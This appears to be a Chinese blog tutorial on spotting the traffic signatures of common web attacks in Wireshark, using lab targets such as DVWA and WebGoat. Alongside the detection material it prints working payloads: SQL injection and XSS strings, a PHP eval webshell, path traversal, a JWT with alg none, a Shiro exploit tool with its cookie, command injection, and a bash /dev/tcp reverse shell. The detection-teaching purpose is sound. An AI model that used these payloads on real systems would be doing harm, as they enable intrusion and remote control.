Wireshark 分析常见 Web 攻击的流量特征

gjl_ 2024-07-04 08:03:02 阅读 100

SQL 注入

攻击者在输入字段中插入恶意的 SQL 语句,实现对数据库的增删改查。

可以在 http 请求中通过查找 SQL 注入语句中的 union、select、sleep 等关键字来判断 SQL 注入的流量

dvwa SQL Injection low 为例

poc

<code>1' and 1=2 union select 1,database() #

image-20231208151011137

筛选目的 ip 为靶场服务器并且为 http 的流量

<code>ip.dst==10.9.47.172 && http

找到 SQL 请求的 http 报文

image-20231208154043830

可以看到 <code>union 、 selectdatabase 等 SQL 注入的关键字

id=1%27+and+1%3D2+union+select+1%2Cdatabase%28%29+%23

解码后即可看到原始 poc

image-20231208151701211

XSS

XSS 跨站脚本攻击,是通过注入 JavaScript脚本来实现恶意弹窗、盗取 Cookie、传播蠕虫病毒等效果

XSS 使用 JavaScript 语句,可以同通过 JavaScript 中的 <code><script> 标签来判断 XSS 的流量

dvwa XSS(Reflected) low 为例

poc

<script>alert(/gjl/)</script>

image-20231208153413360

wireshark 捕获流量

筛选目的 ip 为靶场服务器并且为 http 的流量

<code>ip.dst==10.9.47.172 && http

image-20231208153802887

其中有 <code><script> 标签关键字,< 等特殊符号被 url 编码

name=%3Cscript%3Ealert%28%2Fgjl%2F%29%3C%2Fscript%3E

文件上传

文件上传主要靠上传文件木马获取 webshell。如 PHP 中通常上传 .php 文件后缀一句话木马

判断其流量特征时,可以观察文件名中有没有 php 后缀字样,也可以看文件内容中有没有类似 eval 的关键字、危险函数等

dvwa File Upload low 为例

上传文件内容为 <?php @eval($_REQUEST[777]);?> 的 1.php 一句话木马文件

image-20231208155612690

捕获流量,并筛选

image-20231208155548136

可以根据文件名中的 php、文件内容中的危险函数来判断非法的文件上传

如果上传的图片马无法通过后缀查看,可以查看文件内容来判断是否为恶意的文件上传

文件包含

被包含的文件的路径设置为变量,来进行动态调用(包含),但正是由于这种灵活性,如果被包含文件的路径客户端可控,造成任意文件包含漏洞。攻击者可以上传恶意的路径来实现访问解析服务器的其他文件,或者远程访问执行。

一般包含配合一句话木马文件获取 Webshell,文件包含的流量特征是请求包中有非服务器允许访问的文件路径,或者文件路径中出现 <code>data://、ftp:// 等协议或者目录穿越的关键字 ../../

dvwa File Inclusion low 为例

poc

http://10.9.47.172/dvwa/vulnerabilities/fi/?page=../../phpinfo.php

image-20231208161700400

wireshark 捕获流量

image-20231208161751075

服务器正常只允许访问 file1.php、file2.php、file3.php 而报文中请求的其他的文件路径

image-20231208161825787

文件读取

任意文件读取漏洞由于对用户查看或下载的文件没有限制或者限制绕过,就可以查看或下载任意文件

与文件包含的区别是文件读取无法解析执行文件,只能读取文件的内容

跟文件包含的流量特征类似,请求访问的文件地址中出现 <code>C://、../../ 等关键字或者其他非服务器允许访问的文件路径

SSRF

SSRF 是一种由攻击者发起的伪造请求(一般是绝对路径),由服务器发送请求的一种攻击。

判断 SSRF 的流量特征时,可以通过协议、请求的资源地址来判断是否为攻击。

攻击者可以使用 file 协议访问文件资源,http://127.0.0.1:3306 探测本地端口,也可以使用 SSRF 来访问内网 ip 进行过攻击

靶场 ssrf_curl.php 源码

<?php

//ssrf_curl.php

if(isset($_REQUEST['url'])){

$link = $_REQUEST['url'];

$fileName = './curled/'.time().".txt";

$curlObj = curl_init($link);

$fp = fopen($fileName,'w');

curl_setopt($curlObj,CURLOPT_FILE,$fp);

curl_setopt($curlObj,CURLOPT_HEADER,0);

curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);

curl_exec($curlObj);

curl_close($curlObj);

fclose($fp);

if(getimagesize($fileName)){

header("Content-Type:image/png");

}

$fp = fopen($fileName,'r');

$result = fread($fp,filesize($fileName));

fclose($fp);

echo $result;

}else{

echo "?url=[url]";

}

?>

poc

http://127.0.0.1:3306

有回显,3306 端口开启

image-20231208165551272

wireshark 捕获、过滤流量

捕获到访问本地 3306 端口的流量

image-20231208165521513

Shiro 反序列化

将 exp 经序列化 => 对称加密 => base64 编码存储到 Cookie 中,比正常的 Cookie 值要长的多

靶场搭建、复现详细过程

https://blog.csdn.net/weixin_51559599/article/details/134876975?spm=1001.2014.3001.5502

复现

访问 kali 的 ip,点击登录

image-20231208110814445

当登陆页面有 remember Me ,记住密码类似的字样需要考虑 shiro 反序列化漏洞

image-20231208111209977

shiro 550 用户名密码随便填写,勾选 Remember Me,点击登录,抓包

image-20231208111652548

发现请求包中有 remember me 字段,返回包中有

Set-Cookie:rememberMe=deleteMe 字段,判断其为 shiro

image-20231208111755021

下载漏洞利用程序

链接:https://pan.baidu.com/s/1nyVfDzqnLn1zACDh2ws-jg?pwd=tzbm

提取码:tzbm

启动工具

<code>java -jar shiro_attack-4.5.3-SNAPSHOT-all.jar

检测目标中输入 shiro 登录的 url,依次点击爆破密钥,爆破利用链,成功爆破

image-20231208114214008

此时可以使用如命令执行等攻击模块

image-20231208114359785

shiro 反序列化攻击的流量特征

在 shiro 攻击程序执行命令时使用 Wireshark 抓包

image-20231208115129032

筛选目的 ip 为 kali 的数据包

<code>ip.dst==10.9.47.221

image-20231208115854014

找到 http 请求报文,shiro 攻击的特征是有超长的 rememberMe 字段,正常数据 Cookie 不会有这么长

base64 解码>解密>反序列化后为利用链的 exp

<code>rememberMe=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

JWT

JWT 是 Token 的一种,针对 JWT 的攻击,可以通过 Header 中的算法类型是否被替换成 none 来绕过 JWT 验证或者 Payload 中是否有恶意请求进行判断

JWT 详解

https://blog.csdn.net/weixin_51559599/article/details/134860478?spm=1001.2014.3001.5502

以 WEBGOAT 中的第 7 关为例(上面链接有详细通关过程)

POC

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTcwMjExMzQxOSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

点击付款、抓包

image-20231208171925352

替换 JWT

image-20231208172014598

成功利用漏洞

image-20231208172127717

使用 Wireshark 捕获流量并过滤

image-20231208172608475

对抓取的流量解码以 <code>. 为分隔符,将两部分使用 base64 解码

eyJhbGciOiJub25lIn0.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTcwMjExMzQxOSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.

image-20231208172703593

可以看到加密算法被替换成了 <code>none,JWT 中第三部分签名失效,攻击者可修改请求

暴力破解

暴力破解的流量特征是有大量尝试登录的数据包

dvwa Brute Force low 为例

登录,抓包,发送到 Intruder,将密码添加 $ 爆破密码

image-20231208174218548

wireshark 过滤流量包,发现大量不同 password 值的请求登陆数据包

image-20231208174144131

命令执行

攻击者输入的命令未经校验,传输到服务器造成命令执行

可以通过命令执行中的 <code>cmd、whoami 等关键字作为流量特征来判断命令执行的流量

dvwa Command Injection low 为例

poc

|whoami

image-20231208174740958

wireshark 捕获并过滤流量

可以看到 <code>whoami 命令,在实际攻击中会出现许多不同的命令执行语句

image-20231208174904290

反弹 shell

准备一台 kali、一台 Linux

kali 开启 nc 监听

<code>nc -lvvp 8888

image-20231208180310689

Linux 连接

<code>bash -c 'bash -i >& /dev/tcp/10.9.47.221/8888 0>&1'

image-20231208180454737

命令执行

image-20231208180641919

查看 wireshark 捕获的流量并过滤

可以看到大量的 TCP 数据流

image-20231208181256980

点开详细的数据包还可以看见攻击者执行的命令

image-20231208181337900



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。